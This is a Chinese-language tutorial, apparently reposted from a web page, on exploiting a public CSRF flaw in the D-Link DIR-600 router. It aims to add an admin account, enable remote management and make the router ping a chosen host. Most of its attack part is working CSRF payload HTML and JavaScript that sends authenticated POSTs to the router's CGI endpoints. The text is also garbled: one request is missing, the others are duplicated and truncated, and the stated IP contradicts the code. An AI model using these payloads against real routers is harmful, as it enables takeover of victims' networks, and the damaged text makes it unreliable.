真正的快乐不是你拥有的多，而是你计较的少。没有什么奇迹，要相信只有越努力才会越幸运。第一是品德，没有这个东西什么都不能谈，我要求一个人是善良诚信，其他不重要。
1，介绍
本文的目的是展示CSRF漏洞的危害，以D-link的DIR-600路由器（硬件版本：BX，固件版本：2.16）的CSRF漏洞为例。
D-link的CSRF漏洞已经是公开的，本文将详细描述一下整个D-link CSRF漏洞的利用，如何通过CSRF漏洞实现远程管理访问D-link路由器。
2，CSRF漏洞说明
如果某些request请求中没有csrf token或不需要密码授权，会存在CSRF漏洞，该漏洞允许攻击者伪造登录用户发送请求，因此可以导致用户执行攻击者想要的操作请求。
通过D-link 管理面板的CSRF漏洞，攻击者可以做以下操作：
@1，添加一个新的管理帐号；
@2，启用路由器的远程管理；
@3，ping特定的机器；此操作只需要登录路由器就可以实现，需要知道路由器的WAN IP地址。
3，PART1:给路由器增加一个新的管理帐号
需要两个request请求来完成
REQUEST1:

REQUEST2:
复制代码
代码如下:<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>
REQUEST1和REQUEST2中，默认的路由局域网IP地址是192.198.0.1,管理帐号是admin,REQUEST1中的request请求中，当密码字段为==OoXxGgYy==的时候，是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加，同时启用了远程管理端口2228.
PART2：ping特定的主机
REQUEST3:
复制代码
代码如下:<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>
</html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>
</html>
只需要求该代码中的X.Y.Z.W为你需要ping的主机IP地址就可以。
本文如何使用CSRF漏洞攻击D-link路由器全过程到此结束。未曾失败的人恐怕也未曾成功过。小编再次感谢大家对我们的支持！
